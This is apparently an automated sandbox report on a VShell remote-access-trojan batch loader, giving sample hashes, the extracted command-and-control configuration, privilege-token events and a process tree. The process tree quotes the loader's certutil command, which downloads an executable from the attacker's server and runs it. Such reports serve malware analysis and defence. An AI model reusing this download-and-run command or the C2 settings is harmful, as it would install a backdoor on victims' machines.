vshell | 8db3043b9a560612ea29de714a98537996d4ae88bb1823cb63fd5ab8e9327915

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 16:19

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General

Target
jaffacakes118_8db3043b9a560612ea29de714a98537996d4ae88bb1823cb63fd5ab8e9327915.bat
Size 512B
Sample260910-ts1pqsdr3x
SHA256 8db3043b9a560612ea29de714a98537996d4ae88bb1823cb63fd5ab8e9327915
MD5 5aa26131e0e64995b0e9937925d94ea1
SHA1 0ace44fa63e6b16c8c2981f9b7785319fd7b7de9
SHA512 0712465dede2ced433c7b4786b260d496ef2cb94997bcf280c7adf3132a8a702c9f4bd4a9cb6ad56c5fe7abf085e50a6d503d2eaac6e286f343e29efca87e7b6
TLSH
T11DF09ECD08324EBD0FC9C873F5546186B00AA0CDCBE1A9D51B9125ED4D480D832EBBD2
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor execution vshell rat

Malware Config

Extracted

Family

vshell

107.173.101.114

Attributes

port
10000
salt
qwWVRFS
type
tcp
vkey
qwwrvd

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/1448-9-0x0000000067700000-0x0000000067ED4000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
5	5316	certutil.exe
6	5316	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
1448	d7d07ec3tcp.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
732	cmd.exe
5380	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1448	d7d07ec3tcp.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4448	WMIC.exe
Token: SeSecurityPrivilege	4448	WMIC.exe
Token: SeTakeOwnershipPrivilege	4448	WMIC.exe
Token: SeLoadDriverPrivilege	4448	WMIC.exe
Token: SeSystemProfilePrivilege	4448	WMIC.exe
Token: SeSystemtimePrivilege	4448	WMIC.exe
Token: SeProfSingleProcessPrivilege	4448	WMIC.exe
Token: SeIncBasePriorityPrivilege	4448	WMIC.exe
Token: SeCreatePagefilePrivilege	4448	WMIC.exe
Token: SeBackupPrivilege	4448	WMIC.exe
Token: SeRestorePrivilege	4448	WMIC.exe
Token: SeShutdownPrivilege	4448	WMIC.exe
Token: SeDebugPrivilege	4448	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4448	WMIC.exe
Token: SeRemoteShutdownPrivilege	4448	WMIC.exe
Token: SeUndockPrivilege	4448	WMIC.exe
Token: SeManageVolumePrivilege	4448	WMIC.exe
Token: 33	4448	WMIC.exe
Token: 34	4448	WMIC.exe
Token: 35	4448	WMIC.exe
Token: 36	4448	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4448	WMIC.exe
Token: SeSecurityPrivilege	4448	WMIC.exe
Token: SeTakeOwnershipPrivilege	4448	WMIC.exe
Token: SeLoadDriverPrivilege	4448	WMIC.exe
Token: SeSystemProfilePrivilege	4448	WMIC.exe
Token: SeSystemtimePrivilege	4448	WMIC.exe
Token: SeProfSingleProcessPrivilege	4448	WMIC.exe
Token: SeIncBasePriorityPrivilege	4448	WMIC.exe
Token: SeCreatePagefilePrivilege	4448	WMIC.exe
Token: SeBackupPrivilege	4448	WMIC.exe
Token: SeRestorePrivilege	4448	WMIC.exe
Token: SeShutdownPrivilege	4448	WMIC.exe
Token: SeDebugPrivilege	4448	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4448	WMIC.exe
Token: SeRemoteShutdownPrivilege	4448	WMIC.exe
Token: SeUndockPrivilege	4448	WMIC.exe
Token: SeManageVolumePrivilege	4448	WMIC.exe
Token: 33	4448	WMIC.exe
Token: 34	4448	WMIC.exe
Token: 35	4448	WMIC.exe
Token: 36	4448	WMIC.exe
Token: SeDebugPrivilege	1448	d7d07ec3tcp.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 732 wrote to memory of 5380	732	cmd.exe	87
PID 5380 wrote to memory of 4448	5380	cmd.exe	88
PID 5380 wrote to memory of 896	5380	cmd.exe	89
PID 732 wrote to memory of 5316	732	cmd.exe	91
PID 732 wrote to memory of 1448	732	cmd.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_8db3043b9a560612ea29de714a98537996d4ae88bb1823cb63fd5ab8e9327915.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5380
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4448
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:896
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\d7d07ec3tcp.exe"
  2⤵
  - Downloads MZ/PE file
  PID:5316
- C:\Users\Public\d7d07ec3tcp.exe
  "C:\Users\Public\d7d07ec3tcp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

d7d07ec3tcp.exe

Path C:\Users\Public\d7d07ec3tcp.exe
Size 3KB
SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
MD5 6a1c343bec9f0ae29f493a0a93206542
SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
TLSH
T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1448-8-0x000001FAE4190000-0x000001FAE5E2D000-memory.dmp

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memory/1448-9-0x0000000067700000-0x0000000067ED4000-memory.dmp

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memory/1448-18-0x000001FAE4190000-0x000001FAE5E2D000-memory.dmp

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